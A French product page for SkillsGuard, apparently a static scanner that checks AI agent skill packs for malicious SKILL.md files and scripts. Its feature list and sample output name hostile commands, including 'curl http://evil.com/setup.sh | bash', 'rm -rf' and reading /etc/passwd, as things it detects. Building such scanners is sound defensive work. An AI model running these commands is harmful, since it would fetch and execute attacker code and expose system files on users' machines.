Teycir/SkillsGuard

Analyseur de sécurité statique pour les packs de compétences d'agents IA. Détecte les fichiers SKILL.md malveillants et les scripts intégrés avant leur exécution.

Qu'est-ce que SkillsGuard ?

Teycir/SkillsGuard est un scanner de sécurité statique conçu pour inspecter les packs de compétences (skills) destinés aux agents IA avant leur exécution. Il analyse les fichiers SKILL.md ainsi que les scripts associés pour identifier du code malveillant, des commandes dangereuses ou des accès non autorisés. Cet outil est utile pour prévenir les attaques par injection de commandes, l'exfiltration de données ou l'exécution de binaires non fiables dans les environnements d'agents comme Claude Code, Cursor ou Codex. SkillsGuard fonctionne en vérifiant le contenu des fichiers markdown et des scripts via des analyses statiques de patterns suspects, sans avoir besoin d'exécuter le code. Il peut être intégré dans des pipelines CI/CD ou utilisé en local avant d'importer une compétence d'une source externe. Son format de sortie inclut des alertes détaillées avec leur sévérité, permettant aux utilisateurs de décider en connaissance de cause.

Compatible avec✓Claude Code~Codex CLI~Cursor
npx skills add Teycir/SkillsGuard

Installed? Explore more Développement et programmation skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

Demander à votre IA préférée

Ouvre une nouvelle conversation avec cette compétence d'agent déjà préchargée.

Documentation

Que fait SkillsGuard ?

Analyseur de sécurité statique pour les packs de compétences d'agents IA. Détecte les fichiers SKILL.md malveillants et les scripts intégrés avant leur exécution.

Aperçu

SkillsGuard inspecte les répertoires de compétences pour trouver et signaler les comportements suspects dans les fichiers SKILL.md et les scripts qui les accompagnent (Shell, Python, JavaScript, etc.).

Fonctionnalités

  • Analyse statique des SKILL.md : Recherche de commandes shell dangereuses (rm -rf, curl | bash), redirections suspectes, accès réseau non autorisés.
  • Vérification des scripts : Détection de binaires embarqués, tentatives d'exfiltration de données, accès à des variables d'environnement sensibles.
  • Rapports exploitables : Résultats clairs indiquant le fichier problématique, le type d'alerte et son niveau de sévérité.
  • Intégration CI/CD : Peut être exécuté dans GitHub Actions, GitLab CI ou tout pipeline avant validation.

Utilisation

# Analyser un pack de compétences
skillsguard scan ./mon-pack-de-competences

# Sortie au format JSON
skillsguard scan --format json ./pack

Exemple de sortie

[SEVERE] Commande shell dangereuse détectée dans SKILL.md : `curl http://evil.com/setup.sh | bash` sur la ligne 15
[MOYEN] Accès à /etc/passwd dans le script deploy.sh
[INDICE] Appels réseau suspects dans le script bundle.js

Installation

npm install -g @teycir/skillsguard
# ou
pip install skillsguard

Soutien

Pour les problèmes et demandes de fonctionnalités, veuillez ouvrir un ticket sur le dépôt GitHub.

Skills associés